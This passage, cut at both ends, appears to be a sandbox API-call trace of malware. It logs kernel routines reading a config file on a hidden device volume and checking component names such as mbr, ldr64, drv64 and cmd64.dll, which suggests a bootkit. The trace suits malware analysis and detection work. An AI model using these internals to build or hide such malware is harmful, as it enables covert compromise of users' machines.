Event=0xfffff880028b22c0) [0118.443] IdePortDispatch () returned 0x103 [0118.443] KeWaitForMutexObject () returned 0x0 [0118.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.443] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.443] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.443] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.443] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.443] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caf00 [0118.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.443] KeLeaveCriticalRegion () [0118.443] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.443] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.443] KeEnterCriticalRegion () [0118.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.444] KeLeaveCriticalRegion () [0118.444] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.444] KeEnterCriticalRegion () [0118.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.444] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.444] IdePortDispatch () returned 0x103 [0118.444] KeWaitForMutexObject () returned 0x0 [0118.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.444] KeLeaveCriticalRegion () [0118.444] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.444] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.444] KeEnterCriticalRegion () [0118.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cda000 [0118.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.444] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.444] IdePortDispatch () returned 0x103 [0118.444] KeWaitForMutexObject () returned 0x0 [0118.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.444] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.445] IdePortDispatch () returned 0x103 [0118.445] KeWaitForMutexObject () returned 0x0 [0118.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.445] KeLeaveCriticalRegion () [0118.445] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.445] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.445] KeEnterCriticalRegion () [0118.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.445] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.445] KeLeaveCriticalRegion () [0118.445] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.445] KeEnterCriticalRegion () [0118.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.445] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.445] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800385b6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.445] KeLeaveCriticalRegion () [0118.445] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.445] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.445] KeEnterCriticalRegion () [0118.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.445] ExFreePoolWithTag (P=0xfffffa80039caf00, Tag=0x0) [0118.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.446] KeLeaveCriticalRegion () [0118.446] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.446] ReleaseMutex (hMutex=0xf0) returned 1 [0118.446] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.446] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.446] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.446] KeEnterCriticalRegion () [0118.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.446] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.446] IdePortDispatch () returned 0x103 [0118.446] KeWaitForMutexObject () returned 0x0 [0118.446] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.446] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.446] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.446] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.446] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.446] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7b50 [0118.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.446] KeLeaveCriticalRegion () [0118.446] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.446] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.446] KeEnterCriticalRegion () [0118.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.446] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.446] KeLeaveCriticalRegion () [0118.446] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.446] KeEnterCriticalRegion () [0118.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.446] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.447] IdePortDispatch () returned 0x103 [0118.447] KeWaitForMutexObject () returned 0x0 [0118.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.447] KeLeaveCriticalRegion () [0118.447] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.447] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.447] KeEnterCriticalRegion () [0118.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.447] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdb000 [0118.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.447] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.447] IdePortDispatch () returned 0x103 [0118.447] KeWaitForMutexObject () returned 0x0 [0118.447] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.447] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.447] IdePortDispatch () returned 0x103 [0118.448] KeWaitForMutexObject () returned 0x0 [0118.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.448] KeLeaveCriticalRegion () [0118.448] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.448] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.448] KeEnterCriticalRegion () [0118.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.448] KeLeaveCriticalRegion () [0118.448] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.448] KeEnterCriticalRegion () [0118.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.448] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.448] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.448] KeLeaveCriticalRegion () [0118.448] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.448] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.448] KeEnterCriticalRegion () [0118.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.448] ExFreePoolWithTag (P=0xfffffa80039d7b50, Tag=0x0) [0118.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.448] KeLeaveCriticalRegion () [0118.448] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.448] ReleaseMutex (hMutex=0xf0) returned 1 [0118.448] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.449] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.449] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.449] KeEnterCriticalRegion () [0118.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.449] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.449] IdePortDispatch () returned 0x103 [0118.449] KeWaitForMutexObject () returned 0x0 [0118.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.449] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.449] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.449] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.449] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.449] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800385b5b0 [0118.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.449] KeLeaveCriticalRegion () [0118.449] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.449] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.449] KeEnterCriticalRegion () [0118.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.449] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.449] KeLeaveCriticalRegion () [0118.449] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.449] KeEnterCriticalRegion () [0118.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.449] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.449] IdePortDispatch () returned 0x103 [0118.450] KeWaitForMutexObject () returned 0x0 [0118.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.450] KeLeaveCriticalRegion () [0118.450] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.450] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.450] KeEnterCriticalRegion () [0118.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdc000 [0118.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.450] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.450] IdePortDispatch () returned 0x103 [0118.450] KeWaitForMutexObject () returned 0x0 [0118.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.450] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.450] IdePortDispatch () returned 0x103 [0118.450] KeWaitForMutexObject () returned 0x0 [0118.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.450] KeLeaveCriticalRegion () [0118.450] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.451] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.451] KeEnterCriticalRegion () [0118.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.451] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.451] KeLeaveCriticalRegion () [0118.451] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.451] KeEnterCriticalRegion () [0118.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.451] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.451] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.451] KeLeaveCriticalRegion () [0118.451] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.451] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.451] KeEnterCriticalRegion () [0118.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.451] ExFreePoolWithTag (P=0xfffffa800385b5b0, Tag=0x0) [0118.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.451] KeLeaveCriticalRegion () [0118.451] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.451] ReleaseMutex (hMutex=0xf0) returned 1 [0118.451] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.451] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.451] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.451] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.452] KeEnterCriticalRegion () [0118.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.452] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.452] IdePortDispatch () returned 0x103 [0118.452] KeWaitForMutexObject () returned 0x0 [0118.452] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.452] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.452] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.452] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.452] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.452] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.452] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.452] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.452] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.452] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.452] KeLeaveCriticalRegion () [0118.452] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.452] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.453] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.453] KeEnterCriticalRegion () [0118.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.453] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: 